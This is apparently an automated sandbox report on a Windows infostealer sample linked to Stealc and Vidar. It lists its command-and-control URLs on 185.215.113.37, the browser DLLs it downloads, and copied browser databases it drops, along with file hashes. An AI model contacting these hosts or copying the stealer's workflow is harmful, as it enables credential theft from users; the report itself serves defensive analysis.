C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dllP	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dlly	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	GHJKEHJEGCFCAKFIIJJJ.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dlly	file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2378464740.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllP	file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php.dll	file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/TU	file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpWf	file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllF	file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2401651899.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390794753.000000001D91E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpR	file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllb	file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php/f	file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllQ	file.exe, 00000000.00000002.2378464740.0000000001412000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllf	file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllp	file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	false		unknown
https://support.mozilla.org	CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllT	file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540745
Start date and time:	2024-10-24 04:56:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 113
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	xxJfSec58P.exe	Get hash	malicious	Vidar	Browse
	UMrFwHyjUi.exe	Get hash	malicious	Vidar	Browse
	b157p9L0c1.exe	Get hash	malicious	Vidar	Browse
	PFlJLzFUqH.exe	Get hash	malicious	Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	xxJfSec58P.exe	Get hash	malicious	Vidar	Browse
	UMrFwHyjUi.exe	Get hash	malicious	Vidar	Browse
	b157p9L0c1.exe	Get hash	malicious	Vidar	Browse
	PFlJLzFUqH.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\AFBAKKFCBFHIIEBGIDBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGDHDAFIDGDBGCAAFIDHIJKEHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFBGDHCBAEHIDGCGIDAKFIIEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCAAAAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJKEHJEGCFCAKFIIJJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HJEBGHIEBFIJKECBKFHDHDAKKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECGIEBAEBFIIECBGCBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIJDGIEBKKFHJKJKEGDBAAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKECFIEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
